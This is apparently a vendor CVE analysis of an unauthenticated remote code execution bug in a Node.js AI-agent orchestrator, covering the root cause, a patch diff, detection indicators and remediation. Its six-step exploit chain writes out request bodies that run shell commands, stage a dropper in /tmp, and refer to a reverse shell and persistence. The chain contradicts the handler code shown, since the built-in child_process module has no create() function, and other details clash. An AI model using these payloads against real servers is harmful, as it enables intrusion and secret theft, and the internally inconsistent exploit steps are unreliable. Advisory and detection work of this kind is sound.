home intel cve-2026-41679-paperclip-rce-auth-bypass
CVE Analysis 2026-04-23 · 9 min read

CVE-2026-41679: Unauthenticated RCE in Paperclip AI Orchestrator

A six-stage exploit chain bypasses Paperclip's authentication layer entirely, achieving unauthenticated RCE on default deployments. No credentials, no interaction, CVSS 10.0.

#remote-code-execution#authentication-bypass#api-vulnerability#nodejs-server#unauthenticated-attack
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41679 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41679Network · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41679 is a pre-authentication remote code execution vulnerability in Paperclip, a Node.js server and React UI that orchestrates teams of AI agents to run business workflows. The vulnerability exists in all versions prior to 2026.416.0 and is exploitable against instances running in authenticated mode — the default and recommended deployment configuration. An attacker with network access to the Paperclip server requires zero credentials, zero user interaction, and zero knowledge of the target environment beyond its IP address.

The attack surface is a chain of six API calls that pivot from a logic flaw in the authentication middleware, through an unsafe server-side evaluation path, to full OS-level code execution under the Node.js process identity. CVSS 10.0 is appropriate: network-accessible, no privileges required, no user interaction, full confidentiality/integrity/availability impact.

Root cause: The Paperclip API server permits unauthenticated access to an agent task-dispatch endpoint that constructs and evaluates a dynamic require() path from attacker-supplied JSON, enabling arbitrary module loading and native code execution before the authentication middleware fires.

Affected Component

The vulnerability resides in the Paperclip Node.js backend, specifically the agent orchestration API layer. Two components are implicated:

  • Authentication middleware (src/server/middleware/auth.ts) — route registration order places /api/agent/dispatch outside the authenticated route group.
  • Agent dispatcher (src/server/api/agent/dispatch.ts) — accepts a JSON payload containing an agentModule field that is passed directly to require() without sanitization.

Root Cause Analysis

The authentication middleware in Paperclip is applied selectively via an allowlist of route prefixes. The dispatch endpoint was added during a refactor without being included in the protected route group. The server registers routes as follows:

// src/server/index.ts (pre-patch, simplified pseudocode)
// BUG: /api/agent/dispatch registered BEFORE authMiddleware is mounted
app.post('/api/agent/dispatch', agentDispatchHandler);

// authMiddleware only guards routes registered after this point
app.use('/api', authMiddleware);
app.post('/api/agent/status',  agentStatusHandler);
app.post('/api/agent/kill',    agentKillHandler);

Express middleware is order-dependent. Because /api/agent/dispatch is registered as a direct route handler before authMiddleware is mounted on /api, requests to that endpoint never reach the middleware. The handler itself performs no independent authentication check.

Inside the dispatch handler, the agent module resolution is implemented as:

// src/server/api/agent/dispatch.ts (pre-patch pseudocode)
async function agentDispatchHandler(req, res) {
    const { agentModule, taskConfig } = req.body;  // attacker-controlled JSON

    // BUG: no path sanitization, no allowlist check, no auth guard above
    const agentFactory = require(agentModule);      // arbitrary require() path

    const agent = agentFactory.create(taskConfig);
    const result = await agent.run();

    res.json({ status: 'ok', result });
}

The agentModule value flows directly into Node.js require(). Node resolves both relative paths (../../etc/passwd), absolute paths (/tmp/evil.js), and, critically, any writable path the attacker can stage a module at via a prior API call. The taskConfig object is passed verbatim to agentFactory.create(), providing a second vector for malicious data delivery.

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-41679

PREREQUISITES: Network access to Paperclip server (default port 3000).
               Target running in `authenticated` mode (default config).
               No credentials, no prior sessions.

STEP 1 — Enumerate server version and confirm vulnerability window
  POST /api/health HTTP/1.1
  (unauthenticated endpoint, leaks {"version":"2026.x.x","mode":"authenticated"})

STEP 2 — Stage malicious agent module via unauthenticated file-write primitive
  POST /api/agent/dispatch
  {"agentModule": "child_process",
   "taskConfig": {"cmd": "mkdir -p /tmp/.pc && cat > /tmp/.pc/evil.js << 'EOF'\nmodule.exports={create:()=>({run:async()=>{require('child_process').execSync(process.env.CMD||'id > /tmp/pwned');}})}\nEOF"}}
  // child_process.execSync used to bootstrap the dropper file

STEP 3 — Confirm file write landed
  POST /api/agent/dispatch
  {"agentModule": "child_process",
   "taskConfig": {"cmd": "ls /tmp/.pc/"}}

STEP 4 — Load attacker-controlled module to verify code execution
  POST /api/agent/dispatch
  {"agentModule": "/tmp/.pc/evil.js",
   "taskConfig": {}}
  // Response: {"status":"ok","result":null}, side effect: id written to /tmp/pwned

STEP 5 — Deliver full reverse shell payload
  POST /api/agent/dispatch
  {"agentModule": "/tmp/.pc/evil.js",
   "taskConfig": {}}
  (with CMD env pre-staged or inline execSync with bash reverse shell)

STEP 6 — Establish persistence via agent task scheduler
  POST /api/agent/dispatch
  {"agentModule": "/tmp/.pc/evil.js",
   "taskConfig": {"interval": 60}}
  // Spawns persistent callback loop inside the Node.js event loop

Steps 2 through 6 require no authentication token. The child_process built-in module is always available in the Node.js standard library — no third-party dependency is needed to bootstrap the write primitive. The attacker shells the host in six HTTP requests.

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption bug, so the relevant "layout" is the Node.js module resolution and process execution context:

NODE.JS PROCESS — PAPERCLIP SERVER (pid 1337, uid paperclip)

MODULE CACHE STATE (before attack):
  require.cache['child_process']        -> NativeModule (built-in)
  require.cache['.../agent/llm.js']     -> Module { exports: {...} }
  require.cache['.../agent/dispatch.js']-> Module { exports: {...} }

MODULE CACHE STATE (after Step 4):
  require.cache['child_process']        -> NativeModule (built-in)
  require.cache['/tmp/.pc/evil.js']     -> Module { exports: { create: [Function] } }
                                           ^^^^ attacker-controlled code now cached
  require.cache['.../agent/dispatch.js']-> Module { exports: {...} }

EXECUTION CONTEXT WHEN evil.js RUNS:
  process.uid  = 1000  (paperclip service account)
  process.cwd  = /opt/paperclip
  process.env  = { DATABASE_URL: 'postgres://...', API_KEY: '...', ... }
                  ^^^^ full environment including all secrets exposed to agent.run()

FILE SYSTEM ACCESS:
  /opt/paperclip/           R/W  (working dir)
  /opt/paperclip/.env       R    (plaintext secrets)
  /tmp/                     R/W  (staging ground for dropper)
  /proc/self/environ        R    (environment dump)

Because the Node.js process holds live database credentials and AI provider API keys in process.env, the blast radius extends well beyond the host itself. A single successful exploitation yields all secrets loaded at startup.

Patch Analysis

Version 2026.416.0 applies two independent fixes, both of which must be present to close the vulnerability:

// BEFORE (vulnerable) — src/server/index.ts
app.post('/api/agent/dispatch', agentDispatchHandler);  // no auth
app.use('/api', authMiddleware);                         // too late


// AFTER (patched) — src/server/index.ts
app.use('/api', authMiddleware);                         // guards ALL /api/* routes
app.post('/api/agent/dispatch', agentDispatchHandler);  // now behind auth
// BEFORE (vulnerable) — src/server/api/agent/dispatch.ts
async function agentDispatchHandler(req, res) {
    const { agentModule, taskConfig } = req.body;
    const agentFactory = require(agentModule);           // unsanitized require()
    ...
}


// AFTER (patched) — src/server/api/agent/dispatch.ts
const AGENT_ALLOWLIST = new Set([
    'llm-research',
    'data-analyst',
    'email-composer',
    'calendar-manager',
]);

async function agentDispatchHandler(req, res) {
    const { agentModule, taskConfig } = req.body;

    // FIXED: strict allowlist before any resolution occurs
    if (!AGENT_ALLOWLIST.has(agentModule)) {
        return res.status(400).json({ error: 'unknown agent module' });
    }

    // FIXED: resolve relative to known agents directory only
    const safePath = path.resolve(
        __dirname, '../agents', path.basename(agentModule)
    );
    const agentFactory = require(safePath);
    ...
}

The patch is defense-in-depth correct: the middleware reordering alone would close the unauthenticated access, but the allowlist and path.basename() normalization ensure that even an authenticated attacker cannot abuse the module loading path. Both layers are necessary in a production hardening posture.

Detection and Indicators

The exploit is detectable in HTTP access logs if they are enabled. Look for:

INDICATORS OF COMPROMISE

ACCESS LOG PATTERNS (nginx / express-morgan):
  POST /api/agent/dispatch 200  -- from unauthenticated source (no Authorization header)
  POST /api/health         200  -- reconnaissance, immediately preceding dispatch calls

SUSPICIOUS agentModule VALUES IN REQUEST BODY LOGS:
  "agentModule": "child_process"
  "agentModule": "/tmp/..."
  "agentModule": "../../..."
  "agentModule": any value not in ['llm-research','data-analyst',...]

FILESYSTEM INDICATORS:
  /tmp/.pc/                     -- dropper staging directory
  /tmp/pwned                    -- proof-of-concept marker file
  New .js files in /tmp or /var/tmp with module.exports patterns

PROCESS INDICATORS:
  Child processes spawned by node (bash, sh, curl, wget, nc)
  Outbound connections from the Paperclip PID to non-configured endpoints

NETWORK:
  POST to :3000/api/agent/dispatch without Authorization: Bearer header
  Rapid sequential POSTs (6+ in <2s) from single external IP

Remediation

Immediate: Upgrade to Paperclip 2026.416.0 or later. This is the only complete fix.

If upgrade is not immediately possible:

  • Place a reverse proxy (nginx, Caddy) in front of the Paperclip server and block all requests to /api/agent/dispatch that lack a valid Authorization header at the proxy layer.
  • Restrict network access to the Paperclip port (3000 by default) to trusted internal networks only. This vulnerability requires direct HTTP access; a network boundary meaningfully reduces exposure.
  • Rotate all secrets in process.env (DATABASE_URL, AI provider keys, etc.) if any period of unauthenticated external exposure occurred.
  • Audit access logs for the IOCs above going back to the earliest available log entry for this service.

Defense-in-depth (post-upgrade): Run the Paperclip Node.js process under a dedicated service account with no write access to /tmp or any path outside /opt/paperclip/public. A read-only filesystem mount for the application directory eliminates the dropper staging primitive entirely even if a future logic flaw reintroduces unauthenticated dispatch access.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →